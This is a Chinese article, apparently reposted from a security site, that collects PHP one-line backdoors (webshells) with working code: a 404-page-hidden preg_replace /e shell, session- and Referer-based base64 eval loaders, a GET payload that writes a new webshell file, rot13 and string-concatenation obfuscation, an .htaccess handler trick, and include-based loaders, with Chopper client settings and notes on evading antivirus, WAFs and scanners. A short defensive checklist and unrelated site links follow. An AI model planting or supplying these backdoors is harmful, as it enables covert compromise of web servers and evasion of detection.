php一句话后门集锦 有哪些有意思的php一句话木马?
强悍的PHP一句话后门
这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。
利用404页面隐藏PHP小马:
复制代码
代码如下:
Not Found
The requested URL was not found on this server.
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。
无特征隐藏PHP一句话:
复制代码
代码如下:
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门:
复制代码
代码如下:
仅用GET函数就构成了木马;
利用方法:
复制代码
代码如下:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
层级请求,编码运行PHP后门:
此方法用两个文件实现,文件1
复制代码
代码如下:
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
文件2
复制代码
代码如下:
//2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code = << phpinfo(); CODE; //进行base64编码 $code = base64_encode($code); //构造referer字符串 $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i="; //后门url $url = 'http://localhost/test1/1.php'; $ch = curl_init(); $options = array( CURLOPT_URL =>$url, CURLOPT_HEADER =>FALSE, CURLOPT_RETURNTRANSFER =>TRUE, CURLOPT_REFERER =>$referer ); curl_setopt_array($ch, $options); echo curl_exec($ch); 通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。 PHP后门生成工具weevely weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。 weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。 以上是大概介绍下边是截图,相关使用方法亦家就不在这介绍了,简单的科普一下。 三个变形的一句话PHP木马 第一个 复制代码 代码如下: 在菜刀里写http://site/1.php?2=assert密码是1 第二个 复制代码 代码如下: $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> 在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。 如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。 第三个 复制代码 代码如下: ($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add'); str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血! .htaccess做PHP后门 这个其实在2007年的时候作者GaRY就爆出了,只是后边没人关注,这个利用关键点在于一句话: 复制代码 代码如下: AddType application/x-httpd-php .htaccess ###### SHELL ###### 这里写上你的后门吧###### LLEHS ###### toby57解析加密一句话木马 此段后门使用方法会与其它方法不太一样,具体看下面 Client: 复制代码 代码如下: if(crypt($_SERVER['HTTP_H0ST'],51)=='514zR17F8j0q6'){@file_put_contents($_SERVER['HTTP_X'],$_SERVER['HTTP_Y']); header("Location: ./".$_SERVER['HTTP_X']);}; ?> Server: 复制代码 代码如下: $fp = fsockopen("127.0.0.1",80,$errno,$errstr,5); if (!$fp){ echo('fp fail'); } $out = "GET /php_muma/client.php HTTP/1.1\r\n"; $out .= "Content-Type: application/x-www-form-urlencoded\r\n"; $out .= "User-Agent: MSIE\r\n"; $out .= "Host: 127.0.0.1\r\n"; $out .= "H0ST: qiushui51a\r\n"; $out .= "X: ../shell.php \r\n"; $out .= "Y: \r\n"; $out .= "Connection: close\r\n\r\n"; fwrite($fp,$out); while(!feof($fp)){ $resp_str=""; $resp_str .= fgets($fp,512);//返回值放入$resp_str } fclose($fp); echo($resp_str);//处理返回值. ?> 对服务端与客户端指令对比,如一致则执行后门指令。 最后列几个高级的PHP一句话木马后门 复制代码 代码如下: 1、 $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $hh("/[discuz]/e",$_POST['h'],"Access"); //菜刀一句话 2、 $filename=$_GET['xbid']; include ($filename); //危险的include函数,直接编译任何文件为php格式运行 3、 $reg="c"."o"."p"."y"; $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]); //重命名任何文件 4、 $gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $gzid("/[discuz]/e",$_POST['h'],"Access"); //菜刀一句话 5、include ($uid); //危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif //gif插一句话 6、典型一句话 程序后门代码 程序代码 //容错代码 程序代码 //使用lanker一句话客户端的专家模式执行相关的php语句 程序代码 程序代码 程序代码 @preg_replace("/[email]/e",$_POST['h'],"error"); ?> //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入 程序代码 程序代码 //绕过 综上,这些PHP一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结! 如何应对PHP一句话后门 我们强调几个关键点,看这文章的你相信不是门外汉,我也就不啰嗦了: ■对PHP程序编写要有安全意识 ■服务器日志文件要经常看,经常备份 ■对每个站点进行严格的权限分配 ■对动态文件及目录经常批量安全审查 ■学会如何进行手工杀毒《即行为判断查杀》 ■时刻关注,或渗入活跃的网络安全营地 ■对服务器环境层级化处理,哪怕一个函数也可做规则 亦家网络认为当管理的站点多了,数据量大时,我们应合理应用一些辅助工具,但不应完全依赖这些工具,技术是时刻在更新进步的,最为重要的是你应学会和理解,编写这些强悍后门的人所处思维,角色上的换位可为你带来更大的进步。 转载必须注明出自亦家网络。 原文链接:http://www.oooceo.com/security/php-word/
什么是欺骗交换机缓存?欺骗交换机缓存要怎么做?
嗅探(sniff),就是窃听网络上流经的数据包,而数据包里面一般会包含很多重要的私隐信息,如:你正在访问什么网站,你的邮箱密码是多少,你在和哪个MM聊QQ等等 而很多攻击方式(如著名的会话劫持)都是建立在
详情2018-02-28 08:43:30责编:llp 来源:驱动管家图片隐藏文件秘密的方法 文件秘密如何隐藏在图片中?
每个人都有自己的秘密,不过有些朋友却喜欢将秘密,以文件的形式放到电脑里,来供自己欣赏。虽然这些“秘密”放在电脑上大多都是加了密的,但是有些只能防止菜鸟破解,根本达不到真正隐藏的目的。于是笔者想了很
详情2018-02-04 13:20:07责编:llp 来源:驱动管家域名服务器的欺骗技术 域名服务器的欺骗原理
概述:什么是DNS欺骗?DNS欺骗是一门改变DNS原始指向IP的艺术。为了更好的理解,让我们先来看一个例子。如果你想用浏览器去google搜索一些信息,毫无疑问的你会在地址栏里输入www google com的网址然后回车。那么
详情2018-01-09 19:14:07责编:llp 来源:驱动管家备份共享文件,大势至软件只需一步就可以完成
日常工作中,我们经常会遇到这样的情况:有人误删服务器中的共享文件,导致无法恢复,如果其中涉及企业重要商业机密,则有可能给企业带来不可估量的损失。操作系统本身对于共享文件的管理只能做到只读、禁止删除
详情2018-02-04 20:13:36责编:llp 来源:驱动管家discuz安全提问md5加密过程是怎么样的?
今天朋友问我discuz安全提问答案能不能饶过去。或者破解,我以前就注意过个密码,只记得很短,以为是substr取的MD5,最后看了半天的源码,确实是MD5加密的,不过,加密的过程有点晕无安全提问
详情2018-02-04 10:48:56责编:llp 来源:驱动管家怎么用arp欺骗辅助嗅探?怎么实现改变b的数据流向?
嗅探在集线器盛行的年代可简单实现你什么事情都不用干,集线器自动会把别人的数据包往你机器上发。但是那个年代已经过去了,现在交换机已经代替集线器成为组建局域网的重要设备,而交换机不会再把不属于你的包转
详情2018-02-15 08:58:58责编:llp 来源:驱动管家如何防止网站成为黑网站呢?要做这些事
1 设置严密权限上传目录只给写入、读取权限绝对不能给执行权限每个网站WebSite使用独立用户名和密码权限设置为Guest命令: net localgroup users myweb del设置MSSQL、Apache、MySQL以Guest权限运行:在运
详情2018-01-19 11:29:50责编:llp 来源:驱动管家u盘加密被破解的原理 为什么u盘加密简单被破解?
使用U盘、移动硬盘加密工具加密文件夹后,我用文件嗅探器工具也看不到加密后真实的文件,当用金山毒霸扫描发现,好像这些文件被隐藏保存在 Thumbs dn 7 中(其中那个7 中的7有时是其他的数字),但是我直接这样
详情2018-01-05 19:32:16责编:llp 来源:驱动管家dedecms是什么?dedecms v5.6 final版本有哪些漏洞?
影响版本:DEDECMS v5 6 Final程序介绍:DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活
详情2018-01-17 13:30:56责编:llp 来源:驱动管家分享木马保护生成的三种方法 要对木马进行验证
这几天研究了一下木马保护生成,现在给各位菜鸟分享一下。很多人做木马生成器但是不想让别人改或研究生成后的木马这就需要对生成出的木马进行保护。保护的手段一般是加壳或者加密。过程一般是将配置信息写入木马
详情2018-02-12 18:08:02责编:llp 来源:驱动管家
- 64位系统电脑安装GeForce显卡驱动364.47蓝屏是怎么回事?如何解决
- bartender文件设置多个模版以后怎么打印单模版?
- 腾讯手游助手怎么直接卸载不想要的游戏?
- 聚合物电池应该怎么保养?聚合物电池保养技巧
- 相机的锂电池在使用的过程中应该注意哪些东西
- 雅虎宣布抛售雅虎日本股份 价值达100亿美元
- xp系统使用浏览器提示网站还原错误怎么解决
- 电脑蓝屏自动重启怎么办?电脑蓝屏代码提示0xc0000005或0xc0000008e解决方法
- 锤子手机t2上市时间 锤子手机t2性能如何?
- 联想p90颜色有哪些?联想p90 4g网络能用吗?
- 电脑上的摄像头能不能禁止使用?怎么禁用电脑摄像头
- 什么是垃圾邮件 垃圾邮件有哪些类型
- 为了防止信息泄露,用户隐藏ip有哪些方法?
- intval函数的特性 分析php程序员站
- pp助手怎么设置铃声?pp助手设置铃声方法大全
- Endnote参考文献管理软件怎么将数据库建到百度云?Endnote使用教程
- 摄像头黑屏怎么修复?解决摄像头黑屏的方法介绍
- 苹果手机电池显示橙色怎么关闭呢?
- 音乐节奏游戏安卓版《Cytus II》正式上线
- win10电脑的任务栏变宽怎么还原?还原win10任务栏的方法